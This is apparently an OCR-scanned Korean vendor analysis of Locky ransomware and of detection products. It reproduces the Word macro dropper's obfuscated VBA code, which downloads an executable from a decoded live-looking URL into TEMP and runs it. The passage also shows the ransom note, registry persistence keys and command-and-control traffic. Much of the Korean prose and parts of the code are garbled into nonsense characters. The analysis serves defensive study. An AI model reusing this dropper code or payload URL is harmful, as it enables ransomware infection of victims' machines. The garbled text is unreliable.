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9\;]\}‘1_: %E7]‘ 9\}\]—4‘ Your files are encrypted.

Yeu did nat pay in mo for desryption, that's why the docryption prics increases 2 times. At tha momant, the cost of
dacrypting your files is 1000 USD/EUR. In case of failune 1o 25/05/14 - 11:44 your Key will be deleted permanantly and it wall
e impossible to dacryp! your filos.
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Daniel Quinlan | Juniper Networks

6 7](Locky)+= 2016¢ 29 16 57 54¢E ehid o] o} 5= (Ransomware
—] Malware )TF, obd A EQJo]o] 3F el ol AEE HHAIAA A
28 = apd o] HhE Wslighet, 7 Aol A flo] 72 Ak Ve S8 Tt
12 5ol 7S A= gizkA] apd o] Felxof H2d 4= e dl), dutdog
ESRI(Bitcoin)& Al O R ARESh=H] £7|2 QIgh 7| 2] 49 0.5
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Y =M ot 2M £4d
0.9% 84.4% | 2XMoll oi=22(Macro) et
6.6% 502% | M= elS
75% 453% | T 2N
(0.1% 306% | Y 7Is 32 <A
ol wet oE 27.6% = m0]X| 1251 1= Mo |>I2l(&2El(Slavic))

A wAoA e i ARE A= ARG Wil miamr) ko] Qe e A4S
Apeheh= A2 w7k s, shANE =717} 29 o] e o= Atk FA 3o A2 Yole
STk R R S wjo]#] 12510] 29FE O] Y= B wAE ARkt = IRk
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7R EE AJAME Ao g Helo)

£ A8 9 AR of |l /1S SHeA| F o A5 A HES 54
=7] WAISo] e uI%e lo|2) (Visual Basic) W27} Egeo] gli= njolaz
9= BAE A /| HA0R ol MzE i nEAskEo] Gl A5} W]
off ALgALR A o)Ak uhEA EAEA] oFe A9 ALmE FAskstek WA
7b EEE oFF o] gAL A4lo] AmieiAl sl x|/} At

I SECURITY WARNING Macros have been disabled. " Enable Content

[©]

AREARZL o] iAol A2 /el Wl vlS= w|o] A AA R E(Script)E &
aff el wpgo] Albet, ol AR EE AR A 545 5717 HéH Rkt S
718 AREEIATE Sky ATPO] A& 9 E2 B alzlo] o|#]3t ¢4 Al ebz|slc}

<

o}

Attribute VB Name = "ThisDocument"”
Attribute VB _Base = “lNormal.ThisDocument"
Attribute VB GlcbalNameSpace = False
Attribute VB _Creatable = False
Attribute VB_Fredeclaredld = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB _Customizable = True

Sub autoopen|)

Call AddSensors

End Sub

w21
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<A VBA €l (Routine)2 &3t}

Publie Sub AddSencore|)

Dim Col As String

Dim Obj As String

DrinkSun = Split(UserForml.Labell.caption, "/")
GoTo ErrExit

UserForml1, Labell, Caption®] 7F2 SejA] Ex1&2 Hejg gr5o] Bapedo|ch(o]# A
H

YL 7158 ) 95 AHgRks WS T A 2 s,

000000002 00 02 94 00 28 00 00 OO0 83 00 0O 80 4D 63 63 72 ... (...@9..0Micr
00000010: 6F 73 6F 66 74 2E 58 4D 4C 48 54 54 50 2F 41 64 osoft.XMLHITP/Ad
00000020: 6F 64 62 2E 53 74 72 €5 61 6D 2F 53 68 65 &C 6C odb.S5tream/Shell
00000030: 2E 41 70 70 6C 69 63 61 74 69 6F BB 2F 57 53 63 .Application/Wsc
00000040: 72 69 70 74 2E 53 6B 65 6C 6C 2F 50 72 6F 63 65 ript.Shell/Proce
00000050¢ 73 73 2F 47 45 54 2F 54 45 4D 50 2F 54 79 70 65 s&s/GET/TEMP/Type
000000603 2F 4F 70 65 GE 2ZF 77 72 69 74 €5 2F 72 65 73 70 /Open/write/resp
00000070: 6F 6B 73 65 42 6F 64 79 2P 73 €1 76 €5 74 6F 66 onseBody/savetof
00000080: 6% 6C 65 2F 5C 6C 61 64 73 62 69 2E 74 78 74 00 ile/\ladybi.txt.

00000090 EC 09 00 00 7B 02 00 00 00 02 18 00 35 00 00 00 ®...{.......5...
000000A0: 06 00 00 &0 9D 00 00 00 CC 02 00 00 54 61 68 6F ...9@...%...Tahe
000000B0: 6D 61 32 QD maz2.

2&51(Split) 7]s0] A3 & t52] 845 71 A€ 9] DrinkSun’ ¥ G5 2] F,

DrinkSun(0) = "Microsoft.XMLHATTE"
DrinkSun({l) = "Adodb.Stream”
DrinkSun({2) = "sShell.zpplication”

DrinkSun({3) = "WScript.Shell”
DrinkSun(4) = "Process”
DrinkSun(5) = "GET"
DrinkSun(6) = “TEMP"
DrinkSun(7) = "Type"
DrinkSun(8) = "Open”
DrinkSun{9) = "writa”
DrinkSun(l0) = "responseBody"
Drinksun(ll) = "savetofile”
DrinkSun(12) = "\ladybi.txt"

“ErrExit” 2P& ol b A Aajo] A&t

ErrExit:

Set KogdaGe 1 = CreateCbject(DrinkSuni(0})
CheckBins

.f Tew il

Public Sub CheckBins()

o e

Set FogdaGe 2 = CreateObject({DrinkSun(l))
GoTo ErrHandler

I8 http 240] 7}5%F Microsoft, XMLHTTP H#] KogdaGe 10] AJA=E &
Adodb, Stream A KogdaGe 27} AAE T GoTo -2 Aa2he E4-8 whsf|s}7]
el S22 A3k (agal FashA] o) = 7o' o] Fgitt,
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ErrHandler:

Bet KogdaGe 6 = CreateObject(DrinkSun(2))

Set hokuk = CreateObject(DrinksSun{3))

Set KogdaGe 3 = hokuk.Environment(DrinkSun{d4))
CheckDatabase

183l YA 23 HEE= Shell, Application?t WSeript. Shell 245 AA35FaL tha A]
A1 o) ghS- 33kelal Q1+ Wseript. Shell 44| 2] “Process” 2H4d W45 A A4ghet,

PROCESS: TEMP=C:Wpath¥iotWtemopvvair

of7]o| A Hxgt TEMP tlgE e & 5ol ARgato] 914 AuoA the-2 = g ob4]
vlo]H g](Binary) & A43ch,

Public Sub CheckDatabase()

Dim KogdaGe 7() As Variant

FogdaGe 7 = Array(255, 267, 267, 263, 209, 198, 198, 270, 270,
270, 197, 257, 252, 266, 268, 266, 251, 252, 261, 248, 273, 248,
265, 252, 267, 197, 250, 262, 260, 197, 269, 252, 198, 202, 203,
254, 253, 204, 272, 198, 265, 202, 203, 253, 202, 202, 203, 204,
254, 187, 252, 271; 252)

Dim FKogdaGe B RAs Integer

Dim PubDoStop Rs String

PubDoStop = "~
GoTo ErrHandler
i SR

ErrHandler:

For KogdaGe B = LBound(KogdaGe_7) To UBound({XKogdaGe 7)
PubDoStop = PubDoStop & Chr{-9% + KogdaGe_7(KogdaGe 8) - 52)
Next KogdaCe B

7104 $3S| E E12 B 8 < SIck ol Amay) KogdaCe 7 ol 23
£ URLe| Zgho] 9) W) Ze 2] AZult chad)), selu
(Python)ollA] o] Q& Mayshl o83 217 gtk

ru

11
62
2
-
=
—
i)
1
o
ﬂi$

>>> vals = [255, 267, 267, 263, 209, 198, 198, 270, 270, 270, 197,
257, 252, 266, 268, 266, 251, 252, 261, 248, 273, 248, 265, 152,
267, 197, 250, 262, 260, 197, 269, 252, 198, 202, 203, 254, 253,
204, 272, 198, 265, 202, 203, 253, 202, 202, 203, 204, 254, 197,
282, 271, 25%)

>>> print ("".join(chr(x-151) for x in vals))

http://www. jesusdenazaret.com.ve/J4gf5y/r34£3345g.exe

wetd ofdlo] KogdaGe T AAIR 44 248 wWelsl] 18] H-sshel of4 vholu]
2]9] URLS Upehiie),

KogdaGe_1.0pen DrinkSun(5), PubDoStop, False
CheckMaps

oA o] AAYEE B33} ot ob4 URLES HTTP AA(GET")S w=u]sl7] s oF
A AABE Microsoft, XMLHTTP A& AF8-3tc}

> 23
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KogdaGe_2.0pen
GoTo ErrHandler

HTTP AZ&& o]&3] “http://www.jesusdenazaret.com,ve/34gfby/r34f3345g.
exe O A] vlojHg] @& &Rt

Dim WewList As String

Dim DcReset As Boolean

Dim LP As Long

FogdaGe 4 = FogdaGe 3(DrinkSun(6))
GoTo ErrHandler

ZRA A 2 oA TEMP HelE2|e] g5 553l KogdaGe 42 A4t

ErrHandler:
KogdaGe 5 = KEogdaGe 4 + Replace(Drinksun{l2), "t", "e")
ConnectMaps

g o & TEMP HdlE )& AfAA &2 3t vlo|vg|& A4 sH= AA A=27}
T3, oAl sl Hol= dUTY <l “ladybi. txt™0] “ladybi.exe 2 WY,

Public Sub ConnectMaps()

pim objStorages Rs Variant

Dim objStorage As Variant

Dim objMap As Variant

Dim objMaps As Variant

CallByName KogdaGe_2, DrinkSun(7), VbLet, 1

of7]oll A 9IS $Jal A& 0 & “CallByName™ £ES AR5 Hrh, o] 32 the
7} 7t} KogdaGe 2.Type = 1.

KogdaGe_2.0pen
GoTo ErrHandler

MO
_L‘

A= Adodb, Stream A7} G=ict,

ErrHandler:

SaveMaps

End Sub

Public Sub SaveMaps()

rbp = CallByName(KogdaGe 1, DrinkSun(l0), VbGet)

CallByName 3+ =& rbp = KogdaGe 1.responseBody2} 2t}

pim objStor As Variant
CallByName KogdaGe 2, DrinkSun(9), VbMethod, rbkp
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o)== b2 EF Hlo|H 2] & Adodb. Stream©]] A%5= KogdaGe 2.write(KogdaGe

1.responseBody)2} &t}

Dim objMap As Variant

0

CallByName KogdaGe_2, DrinkSun(ll), VbMethod, KogdaGe 5, 2

GoTo CrrHandler

0]+= KogdaGe 2.savetofile(*(temppath)yWladybi.exe”, 2)2} 2t}

ErrHandler:
KogdaGe 6.0pen (KogdaGe 5)
End Sub

Sky ATP+= % = R e
A5} 7]+= sl vk

2| Z& ofZzl7|ojdat 2

Y ofiE2AolM

aho]] =e5lal o)A ladybi.exe® A& Eo] ¢l obA

Jm
0x

21.8% 495% | SAE I 2
27.4% 50.4% | DNS Z=A 5t
436% 67.1% | =5 X[ S(sleep call)
0.2% 122% | U2 AIE FESh= Chfet =ollQlol CHet 4 Wk A=
2.4% 97% | M TE MM(QEFEoZ HF=(Shellcode) 27| = 2HE)
1.7% 39% | & AMeoll HlolE AIA
(0.1% 19% | 2l&=S0f 0]0] EXSk= 01522 PE I e
0.2% 11% | AIAEI Z2MAT} HEST A
S715 A AL EQol9} FHEsh= Aol offth (G 2)ofl4 & 4= ol B At 4
LZEQJoI7} FAro] AL Ao ARl A Eofol ke 7HE-E DNS FaHgh A
L7 AufE= 4 Q7] wiZe] o] e AEE AAAZ|7] gt Thetsl 9
AEZ A 2Flo] M Q.
A1) HIF=H Ho] 4] mfamr}t 5] A oS the-R 5k & e sk Yl sl (Ran—

svchost.exe'+ 54 ¥ gfo|Hejg]of| 4 A== AH|AE
Al Tt o] o] Fol7| e 7] Wil Y A==
3L Qi 4= Qi
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Files created:
Ci\Users'\Victim\AppData\Local\Temp\evchost.exe
Ci\Users\Vietim\AppData‘\Local\Temp\eys90D0.tmp
Fiae]

lﬂi A&AL HJr%l(LﬂE%EL Eafold o] mpol ZFH S oF s 3tely] $Jaf AFEBHs 7(

%IEE (1‘3/] P%/\] Z} 7]%) A2~ E 2 (Registry) ol 233,
C&C Al He] dgor 8] ofe] =uol oA DNS F4meke AXshy 1
74od) AR wiE A|7]of] ZAE}A] oEl o)),

i

1 .20 TP B 49175 - BB [5N] Seqod WinsBIET Leasl MES=LA60 Wisd SACK_PIAML

2 #.311838 TP 66 B -+ 49175 [SYN, ADK] Seqe@ Ack=] Win=14608 Lensd MSS1468 Sh

3 d311258 TP 54 49175 - B [ACK] Seqel Ackel Win-B57T80 Ler<b

4 b HIEE HETR ITT PIST fmalm.php HTTR/L.1

3 a25T T 54 B2 - 4175 [ACK] Sige] AckeXi0 Wifm1567) LifeB

A eMEN HETR 225 HTTP/.0 290 0K  (textr htal)

7 .835541 W 36 POST fmaim.php HTTR/1.1

4 884572 TP 54 B - 49175 LACK]| Seqed7? Ack=¥] Winc1G6744 Lensh

9 1.85647 HETR 1323 HTTP/1.1 268 OK [textsetal)

W 1216758 TP 54 #0175 - Bb [ACK] Seqe301 Ack=1741 Win=6578 Len=

11 11 878883 HETR H4 MIST fmaisphg HTTP/L.1

1.2 P OB - 4917 [ACK] SeqelTA1 AcksfiBl Win=17018 Lensd

13 11.351e8 L 3T NTTR/LL] 798 0K (textsstal)

14 11,3233 HTTR 3% POST /main.php HTTRAL.1

15 11.688335 TP 54 Bl - 49975 [ACK| Seq=1928 Acke=i536 Wit=19797 Lened

18 11.673568 HTTR A3 HTTF/L.1 288 O« (lexr/aial)

17 11 8728308 TR B 49175 - BB [ACK] SeqeISEE AckedBi0 WiseSSE48 Lane@

18 3T.ATHITE ™R Sd 49175 - B IRST, ADK] Seqrl3Ab Ack=THS8 Winz@ Leasd
HEEY_USERS\Software\Locky id unicode [ss:] success or wait 1 40482C R
HEEY USERS\Software\Locky pubkey binary [...] success or wait 1 404004 R
HEEY USERS‘\Socftware\Locky paytext binary [...] success or wait 1 4041FT B

l HKEY USERS\Software\...\Run Locky unicode C:\Users\Victim\AppData\Local\Temp\svchost.exe

o]Ao] etrE T ARg-A}o] upelo] of s oty WH O g oA E )

Sky ATP YlollA] o] E u7} Zzjel oy e 27ke) B24g Balelt L=}
BISRE Sky ATP wlAleld 2% dgea e, opy Adguhel #4 7, 2% A

N H
[e] (¢}
o] $I% A4 104 wHo] TAS HolskehT ol4te] A4 917 o] B 4

Fabep),

e ¥ Libreries » Potures. ¢ Sampie Pichures

Cnganize * Share wik, = Sheke show e fdcler

Faworites Pictures librany
W Diskrop 1
& Dowsnloads

A Recnnt Places
Ubraries

Locky reccvarin
stisctioss tel

ACIFOC hocky FEQ228Jocky D34S Rechy BELOGAecky DFFBhcky 02523 hechy BBIIFhocky AZTTE 2 honkey

7 AE7} 2ekEo] Rl "lAE phlo] Aefal mlsfiato A vivt JRE Aleetet
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. i
| _Locky._recover_instructions - Motepad e[
File Edit Format View Help

| 111 IMPORTANT INFORMATION !111!

All ofn¥nur files are encrypted with RSA-2048 and AES-128 ciphers.

More information about the RSA and AES can be found here:

http://en.wikipedia.org/wiki/RSa_{cryptosystem)
http://en.wikipedia. org/wiki/Aadvanced_Encryption_Standard

Decrypting of your files is Drﬂ? possible with the private key and dec
Tlow

To receive your private key fo one of the links:
1. hrip:// tor2web. ¢
2. hrep:// onion. To,
3. hetp:fS onion. cal

If all of this addresses are not available, follow these steps:
1. pownload and install Tor Browser: htups://www. torproject.org/do
2. After a successful installation, run the browser and wait for i

3. 4 in the address bar: _
4. Follow the instructions on the site.
11! your personal identification ID: _f!!

‘) Locky recover inctructions - Windows Photo Viewer P T |

Fle = Prst = E-mail Bumn = Open - L7

FORS- T -i@ﬁ----n--}, o T O <

w27
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MAl2{"(Machine Learning)

FUH o] Al qlxlo] gol= 22
e o] F mrdol thefA = thaak 42

ol 71ofght,
¥ 3| E7| ofde| EF HAL
ot £ ZAt
27| 9lc 2 —216,000
27| Alspel —20,000,000

Separation of malicious and good documents

05

a0

X, - Principal Component 1

-1.0
-10 05 0o 05 10

X, - Distance From Hyperplane

28 <«

2

Hompe e A9E SO Bl
X=0 ¢l M 1AES FRHOR Refsht
23k A9] HU3 Flolet

(rR)elA] W e g Bae] oolu]
S 2 OpA BA ] oo,

24 s maoA] £A7t opgIES 7}
542 Lheh)7] o] M7 2f Gefo] &
SH= A2 SPYFIER 58 Kol 0] 717t
0] SRR 89 ojol Lk AL opyaIE
2 2578 7HsAol 1o 71tk Wk oke] &
T kie|Fo] BA9] EHE /|FOR oy
BARRE P4 BAS TR PAS B
o 5 2P| @B %] 78 915k gk,

o714 FEshoket 2SS e Zol of
Ao] 8715 £alo] A3 GolSolE Bk
A9 BHS /%0 R SHIE ol BB
3 4= QUIEHE Ao]ch Gvows
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JH EHOt Qlea|FA S81E SRX1500

Xz HE | FUD YA

TZ_ YT UEY20] SRX1500 Wt -2 Feke-E 7|8 APT $574191 Sky ATP(Ad—
'—'_.vanced Threat Prevention)®} ¢153l] UELZ A% AsIglo] AlZdo] $jg°e
2 QlEZelo|= YEY IS Wolshs Ay QHElMSLE Au|2E AlEst YES
= o= Aol AU 9IS Wold 4= Qs Ausk 1Y Wojel Het whel, A5} Ul
IS s Aol Alwett,

MEAl AlS-E= B3t 755 58 54 /MR /ads 1 'HA B ol s vt

&
o & QbHgl Qe Zeto] = Y EY A 158 A g}

Zat2E 7|Hte] APT 2 E|JTH 2H ofat

— 110G+ 4359 Y5 SRX1500 H3}e2 Qe Zeto]= 3H4 oA 55408 54
& Ashal Akt 4= Qe s Fekel VN R A Q1Y 'HAl W oY VsE 2
SkaL I,

— Sky ATPi= UIEQA XL 5]8st7]of ShA WE theR eyl mtu} of &) o]
= AHsoR HAbsl otdai= Yl C
Syttt Sy Rke] F-Uek Al 714 (deception techniques)> Al

_g_

A SPYTES FHAStT, WS A 91 M MR opyEs

o 4 QL 2|t
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